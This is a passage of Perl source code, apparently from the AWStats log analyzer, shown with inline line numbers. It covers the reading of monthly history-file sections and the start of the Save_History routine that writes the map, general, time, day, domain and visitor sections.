$_ = <HISTORY>; 5876 chomp $_; 5877 s/\r//; 5878 @field = split( 5879 /\s+/, 5880 ( 5881 $readxml 5882 ? XMLDecodeFromHisto($_) 5883 : $_ 5884 ) 5885 ); 5886 $countlines++; 5887 } until ( $field[0] eq "END_SIDER_$code" 5888 || $field[0] eq "${xmleb}END_SIDER_$code" 5889 || !$_ ); 5890 if ( $field[0] ne "END_SIDER_$code" 5891 && $field[0] ne "${xmleb}END_SIDER_$code" ) 5892 { 5893 error( 5894"History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5895 "", "", 1 5896 ); 5897 } 5898 if ($Debug) { 5899 debug( 5900" End of SIDER_$code section ($count entries, $countloaded loaded)" 5901 ); 5902 } 5903 delete $SectionsToLoad{"sider_$code"}; 5904 if ( $SectionsToSave{"sider_$code"} ) { 5905 Save_History( "sider_$code", $year, $month, $date ); 5906 delete $SectionsToSave{"sider_$code"}; 5907 if ($withpurge) { 5908 %{$_sider_h{$code}} = (); 5909 %{$_referer_h{$code}} = (); 5910 %{$_err_host_h{$code}} = (); 5911 } 5912 } 5913 if ( !scalar %SectionsToLoad ) { 5914 debug(" Stop reading history file. Got all we need."); 5915 last; 5916 } 5917 next; 5918 } 5919 } 5920 5921 # BEGIN_EXTRA_xxx 5922 foreach my $extranum ( 1 .. @ExtraName - 1 ) { 5923 if ( $field[0] eq "BEGIN_EXTRA_$extranum" ) { 5924 if ($Debug) { debug(" Begin of EXTRA_$extranum"); } 5925 $field[0] = ''; 5926 my $count = 0; 5927 my $countloaded = 0; 5928 do { 5929 if ( $field[0] ne '' ) { 5930 $count++; 5931 if ( $SectionsToLoad{"extra_$extranum"} ) { 5932 if ( $ExtraStatTypes[$extranum] =~ /P/i 5933 && $field[1] ) 5934 { 5935 ${ '_section_' . $extranum . '_p' } 5936 { $field[0] } += $field[1]; 5937 } 5938 ${ '_section_' . $extranum . '_h' } 5939 { $field[0] } += $field[2]; 5940 if ( $ExtraStatTypes[$extranum] =~ /B/i 5941 && $field[3] ) 5942 { 5943 ${ '_section_' . $extranum . '_k' } 5944 { $field[0] } += $field[3]; 5945 } 5946 if ( $ExtraStatTypes[$extranum] =~ /L/i 5947 && !${ '_section_' . $extranum . '_l' } 5948 { $field[0] } 5949 && $field[4] ) 5950 { 5951 ${ '_section_' . $extranum . '_l' } 5952 { $field[0] } = int( $field[4] ); 5953 } 5954 $countloaded++; 5955 } 5956 } 5957 $_ = <HISTORY>; 5958 chomp $_; 5959 s/\r//; 5960 @field = split( 5961 /\s+/, 5962 ( 5963 $readxml 5964 ? XMLDecodeFromHisto($_) 5965 : $_ 5966 ) 5967 ); 5968 $countlines++; 5969 } until ( $field[0] eq "END_EXTRA_$extranum" 5970 || $field[0] eq "${xmleb}END_EXTRA_$extranum" 5971 || !$_ ); 5972 if ( $field[0] ne "END_EXTRA_$extranum" 5973 && $field[0] ne "${xmleb}END_EXTRA_$extranum" ) 5974 { 5975 error( 5976"History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).", 5977 "", "", 1 5978 ); 5979 } 5980 if ($Debug) { 5981 debug( 5982" End of EXTRA_$extranum section ($count entries, $countloaded loaded)" 5983 ); 5984 } 5985 delete $SectionsToLoad{"extra_$extranum"}; 5986 if ( $SectionsToSave{"extra_$extranum"} ) { 5987 Save_History( "extra_$extranum", $year, $month, $date ); 5988 delete $SectionsToSave{"extra_$extranum"}; 5989 if ($withpurge) { 5990 %{ '_section_' . $extranum . '_p' } = (); 5991 %{ '_section_' . $extranum . '_h' } = (); 5992 %{ '_section_' . $extranum . '_b' } = (); 5993 %{ '_section_' . $extranum . '_l' } = (); 5994 } 5995 } 5996 if ( !scalar %SectionsToLoad ) { 5997 debug(" Stop reading history file. Got all we need."); 5998 last; 5999 } 6000 next; 6001 } 6002 } 6003 6004 # BEGIN_PLUGINS 6005 if ( $AtLeastOneSectionPlugin 6006 && $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i ) 6007 { 6008 my $pluginname = $1; 6009 my $found = 0; 6010 foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { 6011 if ( $pluginname eq $_ ) { 6012 6013 # The plugin for this section was loaded 6014 $found = 1; 6015 my $issectiontoload = 6016 $SectionsToLoad{"plugin_$pluginname"}; 6017 6018# my $function="SectionReadHistory_$pluginname(\$issectiontoload,\$readxml,\$xmleb,\$countlines)"; 6019# eval("$function"); 6020 my $function = "SectionReadHistory_$pluginname"; 6021 &$function( $issectiontoload, $readxml, $xmleb, 6022 $countlines ); 6023 delete $SectionsToLoad{"plugin_$pluginname"}; 6024 if ( $SectionsToSave{"plugin_$pluginname"} ) { 6025 Save_History( "plugin_$pluginname", 6026 $year, $month, $date ); 6027 delete $SectionsToSave{"plugin_$pluginname"}; 6028 if ($withpurge) { 6029 6030# my $function="SectionInitHashArray_$pluginname()"; 6031# eval("$function"); 6032 my $function = 6033 "SectionInitHashArray_$pluginname"; 6034 &$function(); 6035 } 6036 } 6037 last; 6038 } 6039 } 6040 if ( !scalar %SectionsToLoad ) { 6041 debug(" Stop reading history file. Got all we need."); 6042 last; 6043 } 6044 6045 # The plugin for this section was not loaded 6046 if ( !$found ) { 6047 do { 6048 $_ = <HISTORY>; 6049 chomp $_; 6050 s/\r//; 6051 @field = split( 6052 /\s+/, 6053 ( 6054 $readxml 6055 ? XMLDecodeFromHisto($_) 6056 : $_ 6057 ) 6058 ); 6059 $countlines++; 6060 } until ( $field[0] eq "END_PLUGIN_$pluginname" 6061 || $field[0] eq "${xmleb}END_PLUGIN_$pluginname" 6062 || !$_ ); 6063 } 6064 next; 6065 } 6066 6067# For backward compatibility (ORIGIN section was "HitFromx" in old history files) 6068 if ( $SectionsToLoad{'origin'} ) { 6069 if ( $field[0] eq 'HitFrom0' ) { 6070 $_from_p[0] += 0; 6071 $_from_h[0] += $field[1]; 6072 next; 6073 } 6074 if ( $field[0] eq 'HitFrom1' ) { 6075 $_from_p[1] += 0; 6076 $_from_h[1] += $field[1]; 6077 next; 6078 } 6079 if ( $field[0] eq 'HitFrom2' ) { 6080 $_from_p[2] += 0; 6081 $_from_h[2] += $field[1]; 6082 next; 6083 } 6084 if ( $field[0] eq 'HitFrom3' ) { 6085 $_from_p[3] += 0; 6086 $_from_h[3] += $field[1]; 6087 next; 6088 } 6089 if ( $field[0] eq 'HitFrom4' ) { 6090 $_from_p[4] += 0; 6091 $_from_h[4] += $field[1]; 6092 next; 6093 } 6094 if ( $field[0] eq 'HitFrom5' ) { 6095 $_from_p[5] += 0; 6096 $_from_h[5] += $field[1]; 6097 next; 6098 } 6099 } 6100 } 6101 } 6102 6103 if ($withupdate) { 6104 6105# Process rest of data saved in 'wait' arrays (data for hosts that are not in history file or no history file found) 6106# This can change some values for day, sider and session sections 6107 if ($Debug) { debug( " Processing data in 'wait' arrays", 3 ); } 6108 foreach ( keys %_waithost_e ) { 6109 if ($Debug) { 6110 debug( " Visit in 'wait' array for $_ is a new visit", 4 ); 6111 } 6112 my $newtimehosts = 6113 ( $_waithost_s{$_} ? $_waithost_s{$_} : $_host_s{$_} ); 6114 my $newtimehostl = 6115 ( $_waithost_l{$_} ? $_waithost_l{$_} : $_host_l{$_} ); 6116 $_url_e{ $_waithost_e{$_} }++; 6117 $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/; 6118 $DayVisits{$1}++; 6119 if ( $_waithost_s{$_} ) { 6120 6121 # There was also a second session in processed log 6122 $_session{ GetSessionRange( $newtimehosts, $newtimehostl ) }++; 6123 } 6124 } 6125 } 6126 6127# Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...) 6128 if ($Debug) { 6129 debug( 6130 " Check and write all unwrote sections: " 6131 . join( ',', keys %SectionsToSave ), 6132 2 6133 ); 6134 } 6135 foreach my $key ( 6136 sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} } 6137 keys %SectionsToSave 6138 ) 6139 { 6140 Save_History( "$key", $year, $month, $date, $lastlinenb, 6141 $lastlineoffset, $lastlinechecksum ); 6142 } 6143 %SectionsToSave = (); 6144 6145# Update offset in map section and last data in general section then close files 6146 if ($withupdate) { 6147 if ($xml) { print HISTORYTMP "\n\n</xml>\n"; } 6148 6149 # Update offset of sections in the MAP section 6150 foreach ( sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile ) 6151 { 6152 if ($Debug) { 6153 debug( 6154" Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}" 6155 ); 6156 } 6157 if ( $PosInFile{"$_"} ) { 6158 seek( HISTORYTMP, $PosInFile{"$_"}, 0 ); 6159 print HISTORYTMP $ValueInFile{"$_"}; 6160 } 6161 } 6162 6163 # Save last data in general sections 6164 if ($Debug) { 6165 debug( 6166" Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}" 6167 ); 6168 } 6169 seek( HISTORYTMP, $PosInFile{"TotalVisits"}, 0 ); 6170 print HISTORYTMP $MonthVisits{ $year . $month }; 6171 if ($Debug) { 6172 debug( 6173" Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}" 6174 ); 6175 } 6176 seek( HISTORYTMP, $PosInFile{"TotalUnique"}, 0 ); 6177 print HISTORYTMP $MonthUnique{ $year . $month }; 6178 if ($Debug) { 6179 debug( 6180" Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}" 6181 ); 6182 } 6183 seek( HISTORYTMP, $PosInFile{"MonthHostsKnown"}, 0 ); 6184 print HISTORYTMP $MonthHostsKnown{ $year . $month }; 6185 if ($Debug) { 6186 debug( 6187" Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}" 6188 ); 6189 } 6190 seek( HISTORYTMP, $PosInFile{"MonthHostsUnknown"}, 0 ); 6191 print HISTORYTMP $MonthHostsUnknown{ $year . $month }; 6192 close(HISTORYTMP) || error("Failed to write temporary history file"); 6193 } 6194 if ($withread) { 6195 close(HISTORY) || error("Command for pipe '$filetoread' failed"); 6196 } 6197 6198 # Purge data 6199 if ($withpurge) { &Init_HashArray(); } 6200 6201 # If update, rename tmp file bis into tmp file or set HistoryAlreadyFlushed 6202 if ($withupdate) { 6203 if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} ) { 6204 debug( 6205 "Rename tmp history file bis '$filetoread' to '$filetowrite'"); 6206 if ( rename( $filetowrite, $filetoread ) == 0 ) { 6207 error("Failed to update tmp history file $filetoread"); 6208 } 6209 } 6210 else { 6211 $HistoryAlreadyFlushed{"$year$month$day$hour"} = 1; 6212 } 6213 6214 if ( !$ListOfYears{"$year"} || $ListOfYears{"$year"} lt "$month" ) { 6215 $ListOfYears{"$year"} = "$month"; 6216 } 6217 } 6218 6219 # For backward compatibility, if LastLine does not exist, set to LastTime 6220 $LastLine ||= $LastTime{$date}; 6221 6222 return ( $withupdate ? "$filetowrite" : "" ); 6223} 6224 6225#------------------------------------------------------------------------------ 6226# Function: Save a part of history file 6227# Parameters: sectiontosave,year,month,breakdate[,lastlinenb,lastlineoffset,lastlinechecksum] 6228# Input: $VERSION HISTORYTMP $nowyear $nowmonth $nowday $nowhour $nowmin $nowsec $LastLineNumber $LastLineOffset $LastLineChecksum 6229# Output: None 6230# Return: None 6231#------------------------------------------------------------------------------ 6232sub Save_History { 6233 my $sectiontosave = shift || ''; 6234 my $year = shift || ''; 6235 my $month = shift || ''; 6236 my $breakdate = shift || ''; 6237 6238 my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 ); 6239 my ( 6240 $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe, 6241 $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee 6242 ) 6243 = ( '', '', '', '', '', '', '', '', '', '', '' ); 6244 if ($xml) { 6245 ( 6246 $xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe, 6247 $xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee 6248 ) 6249 = ( 6250 "</comment><nu>\n", '</nu><recnb>', 6251 '</recnb><table>', '<tr><th>', 6252 '</th><th>', '</th></tr>', 6253 '<tr><td>', '</td><td>', 6254 '</td></tr>', '</table><nu>', 6255 "\n</nu></section>" 6256 ); 6257 } 6258 else { $xmlbs = ' '; $xmlhs = ' '; $xmlrs = ' '; } 6259 6260 my $lastlinenb = shift || 0; 6261 my $lastlineoffset = shift || 0; 6262 my $lastlinechecksum = shift || 0; 6263 if ( !$lastlinenb ) { # This happens for migrate 6264 $lastlinenb = $LastLineNumber; 6265 $lastlineoffset = $LastLineOffset; 6266 $lastlinechecksum = $LastLineChecksum; 6267 } 6268 6269 if ($Debug) { 6270 debug( 6271" Save_History [sectiontosave=$sectiontosave,year=$year,month=$month,breakdate=$breakdate,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]", 6272 1 6273 ); 6274 } 6275 my $spacebar = " "; 6276 my %keysinkeylist = (); 6277 6278 # Header 6279 if ( $sectiontosave eq 'header' ) { 6280 if ($xml) { print HISTORYTMP "<version><lib>\n"; } 6281 print HISTORYTMP "AWSTATS DATA FILE $VERSION\n"; 6282 if ($xml) { print HISTORYTMP "</lib><comment>\n"; } 6283 print HISTORYTMP 6284"# If you remove this file, all statistics for date $breakdate will be lost/reset.\n"; 6285 print HISTORYTMP 6286 "# Last config file used to build this data file was $FileConfig.\n"; 6287 if ($xml) { print HISTORYTMP "</comment></version>\n"; } 6288 print HISTORYTMP "\n"; 6289 if ($xml) { 6290 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 6291 } 6292 print HISTORYTMP 6293"# Position (offset in bytes) in this file for beginning of each section for\n"; 6294 print HISTORYTMP 6295"# direct I/O access. If you made changes somewhere in this file, you should\n"; 6296 print HISTORYTMP 6297"# also remove completely the MAP section (AWStats will rewrite it at next\n"; 6298 print HISTORYTMP "# update).\n"; 6299 print HISTORYTMP "${xmlbb}BEGIN_MAP${xmlbs}" 6300 . ( 27 + ( scalar keys %TrapInfosForHTTPErrorCodes ) + 6301 ( scalar @ExtraName ? scalar @ExtraName - 1 : 0 ) + 6302 ( scalar keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) ) 6303 . "${xmlbe}\n"; 6304 print HISTORYTMP "${xmlrb}POS_GENERAL${xmlrs}"; 6305 $PosInFile{"general"} = tell HISTORYTMP; 6306 print HISTORYTMP "$spacebar${xmlre}\n"; 6307 6308 # When 6309 print HISTORYTMP "${xmlrb}POS_TIME${xmlrs}"; 6310 $PosInFile{"time"} = tell HISTORYTMP; 6311 print HISTORYTMP "$spacebar${xmlre}\n"; 6312 print HISTORYTMP "${xmlrb}POS_VISITOR${xmlrs}"; 6313 $PosInFile{"visitor"} = tell HISTORYTMP; 6314 print HISTORYTMP "$spacebar${xmlre}\n"; 6315 print HISTORYTMP "${xmlrb}POS_DAY${xmlrs}"; 6316 $PosInFile{"day"} = tell HISTORYTMP; 6317 print HISTORYTMP "$spacebar${xmlre}\n"; 6318 6319 # Who 6320 print HISTORYTMP "${xmlrb}POS_DOMAIN${xmlrs}"; 6321 $PosInFile{"domain"} = tell HISTORYTMP; 6322 print HISTORYTMP "$spacebar${xmlre}\n"; 6323 print HISTORYTMP "${xmlrb}POS_LOGIN${xmlrs}"; 6324 $PosInFile{"login"} = tell HISTORYTMP; 6325 print HISTORYTMP "$spacebar${xmlre}\n"; 6326 print HISTORYTMP "${xmlrb}POS_ROBOT${xmlrs}"; 6327 $PosInFile{"robot"} = tell HISTORYTMP; 6328 print HISTORYTMP "$spacebar${xmlre}\n"; 6329 print HISTORYTMP "${xmlrb}POS_WORMS${xmlrs}"; 6330 $PosInFile{"worms"} = tell HISTORYTMP; 6331 print HISTORYTMP "$spacebar${xmlre}\n"; 6332 print HISTORYTMP "${xmlrb}POS_EMAILSENDER${xmlrs}"; 6333 $PosInFile{"emailsender"} = tell HISTORYTMP; 6334 print HISTORYTMP "$spacebar${xmlre}\n"; 6335 print HISTORYTMP "${xmlrb}POS_EMAILRECEIVER${xmlrs}"; 6336 $PosInFile{"emailreceiver"} = tell HISTORYTMP; 6337 print HISTORYTMP "$spacebar${xmlre}\n"; 6338 6339 # Navigation 6340 print HISTORYTMP "${xmlrb}POS_SESSION${xmlrs}"; 6341 $PosInFile{"session"} = tell HISTORYTMP; 6342 print HISTORYTMP "$spacebar${xmlre}\n"; 6343 print HISTORYTMP "${xmlrb}POS_SIDER${xmlrs}"; 6344 $PosInFile{"sider"} = tell HISTORYTMP; 6345 print HISTORYTMP "$spacebar${xmlre}\n"; 6346 print HISTORYTMP "${xmlrb}POS_FILETYPES${xmlrs}"; 6347 $PosInFile{"filetypes"} = tell HISTORYTMP; 6348 print HISTORYTMP "$spacebar${xmlre}\n"; 6349 print HISTORYTMP "${xmlrb}POS_DOWNLOADS${xmlrs}"; 6350 $PosInFile{'downloads'} = tell HISTORYTMP; 6351 print HISTORYTMP "$spacebar${xmlre}\n"; 6352 print HISTORYTMP "${xmlrb}POS_OS${xmlrs}"; 6353 $PosInFile{"os"} = tell HISTORYTMP; 6354 print HISTORYTMP "$spacebar${xmlre}\n"; 6355 print HISTORYTMP "${xmlrb}POS_BROWSER${xmlrs}"; 6356 $PosInFile{"browser"} = tell HISTORYTMP; 6357 print HISTORYTMP "$spacebar${xmlre}\n"; 6358 print HISTORYTMP "${xmlrb}POS_SCREENSIZE${xmlrs}"; 6359 $PosInFile{"screensize"} = tell HISTORYTMP; 6360 print HISTORYTMP "$spacebar${xmlre}\n"; 6361 print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERER${xmlrs}"; 6362 $PosInFile{'unknownreferer'} = tell HISTORYTMP; 6363 print HISTORYTMP "$spacebar${xmlre}\n"; 6364 print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERERBROWSER${xmlrs}"; 6365 $PosInFile{'unknownrefererbrowser'} = tell HISTORYTMP; 6366 print HISTORYTMP "$spacebar${xmlre}\n"; 6367 6368 # Referers 6369 print HISTORYTMP "${xmlrb}POS_ORIGIN${xmlrs}"; 6370 $PosInFile{"origin"} = tell HISTORYTMP; 6371 print HISTORYTMP "$spacebar${xmlre}\n"; 6372 print HISTORYTMP "${xmlrb}POS_SEREFERRALS${xmlrs}"; 6373 $PosInFile{"sereferrals"} = tell HISTORYTMP; 6374 print HISTORYTMP "$spacebar${xmlre}\n"; 6375 print HISTORYTMP "${xmlrb}POS_PAGEREFS${xmlrs}"; 6376 $PosInFile{"pagerefs"} = tell HISTORYTMP; 6377 print HISTORYTMP "$spacebar${xmlre}\n"; 6378 print HISTORYTMP "${xmlrb}POS_SEARCHWORDS${xmlrs}"; 6379 $PosInFile{"searchwords"} = tell HISTORYTMP; 6380 print HISTORYTMP "$spacebar${xmlre}\n"; 6381 print HISTORYTMP "${xmlrb}POS_KEYWORDS${xmlrs}"; 6382 $PosInFile{"keywords"} = tell HISTORYTMP; 6383 print HISTORYTMP "$spacebar${xmlre}\n"; 6384 6385 # Others 6386 print HISTORYTMP "${xmlrb}POS_MISC${xmlrs}"; 6387 $PosInFile{"misc"} = tell HISTORYTMP; 6388 print HISTORYTMP "$spacebar${xmlre}\n"; 6389 print HISTORYTMP "${xmlrb}POS_ERRORS${xmlrs}"; 6390 $PosInFile{"errors"} = tell HISTORYTMP; 6391 print HISTORYTMP "$spacebar${xmlre}\n"; 6392 print HISTORYTMP "${xmlrb}POS_CLUSTER${xmlrs}"; 6393 $PosInFile{"cluster"} = tell HISTORYTMP; 6394 print HISTORYTMP "$spacebar${xmlre}\n"; 6395 6396 foreach ( keys %TrapInfosForHTTPErrorCodes ) { 6397 print HISTORYTMP "${xmlrb}POS_SIDER_$_${xmlrs}"; 6398 $PosInFile{"sider_$_"} = tell HISTORYTMP; 6399 print HISTORYTMP "$spacebar${xmlre}\n"; 6400 } 6401 foreach ( 1 .. @ExtraName - 1 ) { 6402 print HISTORYTMP "${xmlrb}POS_EXTRA_$_${xmlrs}"; 6403 $PosInFile{"extra_$_"} = tell HISTORYTMP; 6404 print HISTORYTMP "$spacebar${xmlre}\n"; 6405 } 6406 foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) { 6407 print HISTORYTMP "${xmlrb}POS_PLUGIN_$_${xmlrs}"; 6408 $PosInFile{"plugin_$_"} = tell HISTORYTMP; 6409 print HISTORYTMP "$spacebar${xmlre}\n"; 6410 } 6411 print HISTORYTMP "${xmleb}END_MAP${xmlee}\n"; 6412 } 6413 6414 # General 6415 if ( $sectiontosave eq 'general' ) { 6416 $LastUpdate = int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec"); 6417 print HISTORYTMP "\n"; 6418 if ($xml) { 6419 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 6420 } 6421 print HISTORYTMP 6422"# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value\n"; 6423 print HISTORYTMP 6424 "# FirstTime = Date of first visit for history file\n"; 6425 print HISTORYTMP 6426 "# LastTime = Date of last visit for history file\n"; 6427 print HISTORYTMP 6428"# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped\n"; 6429 print HISTORYTMP "# TotalVisits = Number of visits\n"; 6430 print HISTORYTMP "# TotalUnique = Number of unique visitors\n"; 6431 print HISTORYTMP "# MonthHostsKnown = Number of hosts known\n"; 6432 print HISTORYTMP "# MonthHostsUnKnown = Number of hosts unknown\n"; 6433 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6434 print HISTORYTMP "${xmlbb}BEGIN_GENERAL${xmlbs}8${xmlbe}\n"; 6435 print HISTORYTMP "${xmlrb}LastLine${xmlrs}" 6436 . ( $LastLine > 0 ? $LastLine : $LastTime{$breakdate} ) 6437 . " $lastlinenb $lastlineoffset $lastlinechecksum${xmlre}\n"; 6438 print HISTORYTMP "${xmlrb}FirstTime${xmlrs}" 6439 . $FirstTime{$breakdate} 6440 . "${xmlre}\n"; 6441 print HISTORYTMP "${xmlrb}LastTime${xmlrs}" 6442 . $LastTime{$breakdate} 6443 . "${xmlre}\n"; 6444 print HISTORYTMP 6445"${xmlrb}LastUpdate${xmlrs}$LastUpdate $NbOfLinesParsed $NbOfOldLines $NbOfNewLines $NbOfLinesCorrupted $NbOfLinesDropped${xmlre}\n"; 6446 print HISTORYTMP "${xmlrb}TotalVisits${xmlrs}"; 6447 $PosInFile{"TotalVisits"} = tell HISTORYTMP; 6448 print HISTORYTMP "$spacebar${xmlre}\n"; 6449 print HISTORYTMP "${xmlrb}TotalUnique${xmlrs}"; 6450 $PosInFile{"TotalUnique"} = tell HISTORYTMP; 6451 print HISTORYTMP "$spacebar${xmlre}\n"; 6452 print HISTORYTMP "${xmlrb}MonthHostsKnown${xmlrs}"; 6453 $PosInFile{"MonthHostsKnown"} = tell HISTORYTMP; 6454 print HISTORYTMP "$spacebar${xmlre}\n"; 6455 print HISTORYTMP "${xmlrb}MonthHostsUnknown${xmlrs}"; 6456 $PosInFile{"MonthHostsUnknown"} = tell HISTORYTMP; 6457 print HISTORYTMP "$spacebar${xmlre}\n"; 6458 print HISTORYTMP "${xmleb}" 6459 . ( ${xmleb} ? "\n" : "" ) 6460 . "END_GENERAL${xmlee}\n" 6461 ; # END_GENERAL on a new line following xml tag because END_ detection does not work like other sections 6462 } 6463 6464 # When 6465 if ( $sectiontosave eq 'time' ) { 6466 print HISTORYTMP "\n"; 6467 if ($xml) { 6468 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 6469 } 6470 print HISTORYTMP 6471"# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth\n"; 6472 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6473 print HISTORYTMP "${xmlbb}BEGIN_TIME${xmlbs}24${xmlbe}\n"; 6474 for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) { 6475 print HISTORYTMP "${xmlrb}$ix${xmlrs}" 6476 . int( $_time_p[$ix] ) 6477 . "${xmlrs}" 6478 . int( $_time_h[$ix] ) 6479 . "${xmlrs}" 6480 . int( $_time_k[$ix] ) 6481 . "${xmlrs}" 6482 . int( $_time_nv_p[$ix] ) 6483 . "${xmlrs}" 6484 . int( $_time_nv_h[$ix] ) 6485 . "${xmlrs}" 6486 . int( $_time_nv_k[$ix] ) 6487 . "${xmlre}\n"; 6488 } 6489 print HISTORYTMP "${xmleb}END_TIME${xmlee}\n"; 6490 } 6491 if ( $sectiontosave eq 'day' ) 6492 { # This section must be saved after VISITOR section is read 6493 print HISTORYTMP "\n"; 6494 if ($xml) { 6495 print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; 6496 } 6497 print HISTORYTMP "# Date - Pages - Hits - Bandwidth - Visits\n"; 6498 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6499 print HISTORYTMP "${xmlbb}BEGIN_DAY${xmlbs}" 6500 . ( scalar keys %DayHits ) 6501 . "${xmlbe}\n"; 6502 my $monthvisits = 0; 6503 foreach ( sort keys %DayHits ) { 6504 if ( $_ =~ /^$year$month/i ) { # Found a day entry of the good month 6505 my $page = $DayPages{$_} || 0; 6506 my $hits = $DayHits{$_} || 0; 6507 my $bytes = $DayBytes{$_} || 0; 6508 my $visits = $DayVisits{$_} || 0; 6509 print HISTORYTMP 6510"${xmlrb}$_${xmlrs}$page${xmlrs}$hits${xmlrs}$bytes${xmlrs}$visits${xmlre}\n"; 6511 $monthvisits += $visits; 6512 } 6513 } 6514 $MonthVisits{ $year . $month } = $monthvisits; 6515 print HISTORYTMP "${xmleb}END_DAY${xmlee}\n"; 6516 } 6517 6518 # Who 6519 if ( $sectiontosave eq 'domain' ) { 6520 print HISTORYTMP "\n"; 6521 if ($xml) { 6522 print HISTORYTMP 6523"<section id='$sectiontosave'><sortfor>$MaxNbOf{'Domain'}</sortfor><comment>\n"; 6524 } 6525 print HISTORYTMP "# Domain - Pages - Hits - Bandwidth\n"; 6526 print HISTORYTMP 6527"# The $MaxNbOf{'Domain'} first Pages must be first (order not required for others)\n"; 6528 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6529 print HISTORYTMP "${xmlbb}BEGIN_DOMAIN${xmlbs}" 6530 . ( scalar keys %_domener_h ) 6531 . "${xmlbe}\n"; 6532 6533# We save page list in score sorted order to get a -output faster and with less use of memory. 6534 &BuildKeyList( 6535 $MaxNbOf{'Domain'}, $MinHit{'Domain'}, 6536 \%_domener_h, \%_domener_p 6537 ); 6538 my %keysinkeylist = (); 6539 foreach (@keylist) { 6540 $keysinkeylist{$_} = 1; 6541 my $page = $_domener_p{$_} || 0; 6542 my $bytes = $_domener_k{$_} 6543 || 0; # ||0 could be commented to reduce history file size 6544 print HISTORYTMP 6545"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n"; 6546 } 6547 foreach ( keys %_domener_h ) { 6548 if ( $keysinkeylist{$_} ) { next; } 6549 my $page = $_domener_p{$_} || 0; 6550 my $bytes = $_domener_k{$_} 6551 || 0; # ||0 could be commented to reduce history file size 6552 print HISTORYTMP 6553"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n"; 6554 } 6555 print HISTORYTMP "${xmleb}END_DOMAIN${xmlee}\n"; 6556 } 6557 if ( $sectiontosave eq 'visitor' ) { 6558 print HISTORYTMP "\n"; 6559 if ($xml) { 6560 print HISTORYTMP 6561"<section id='$sectiontosave'><sortfor>$MaxNbOf{'HostsShown'}</sortfor><comment>\n"; 6562 } 6563 print HISTORYTMP 6564"# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]\n"; 6565 print HISTORYTMP 6566"# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished\n"; 6567 print HISTORYTMP 6568"# The $MaxNbOf{'HostsShown'} first Hits must be first (order not required for others)\n"; 6569 $ValueInFile{$sectiontosave} = tell HISTORYTMP; 6570 print HISTORYTMP "${xmlbb}BEGIN_VISITOR${xmlbs}" 6571 . ( scalar keys %_host_h ) 6572 . "${xmlbe}\n"; 6573 my $monthhostsknown = 0; 6574 6575# We save page list in score sorted order to get a -output faster and with less use of memory. 6576 &BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h, 6577 \%_host_p ); 6578 my %keysinkeylist = (); 6579 foreach my $key (@keylist) { 6580 if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) { 6581 $monthhostsknown++; 6582 } 6583 $keysinkeylist{$key} = 1; 6584 my $page = $_host_p{$key} || 0; 6585 my $bytes = $_host_k{$key} || 0; 6586 my $timehostl = $_host_l{$key} || 0; 6587 my $timehosts = $_host_s{$key} || 0; 6588 my $lastpage = $_host_u{$key} || ''; 6589 if ( $timehostl && $timehosts && $lastpage ) { 6590 6591 if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) { 6592 6593 # Session for this user is expired 6594 if ($timehosts) { 6595 $_session{ GetSessionRange( $timehosts, $timehostl ) } 6596 ++; 6597 } 6598 if ($lastpage) { $_url_x{$lastpage}++; } 6599 delete $_host_s{$key}; 6600 delete $_host_u{$key}; 6601 print HISTORYTMP 6602"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n"; 6603 } 6604 